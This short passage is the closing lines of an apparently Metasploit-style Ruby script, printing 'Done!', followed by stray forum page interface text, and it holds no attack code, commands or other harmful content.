process.") end else print_good('Done!') end end end end Source
×
×
  • Create New...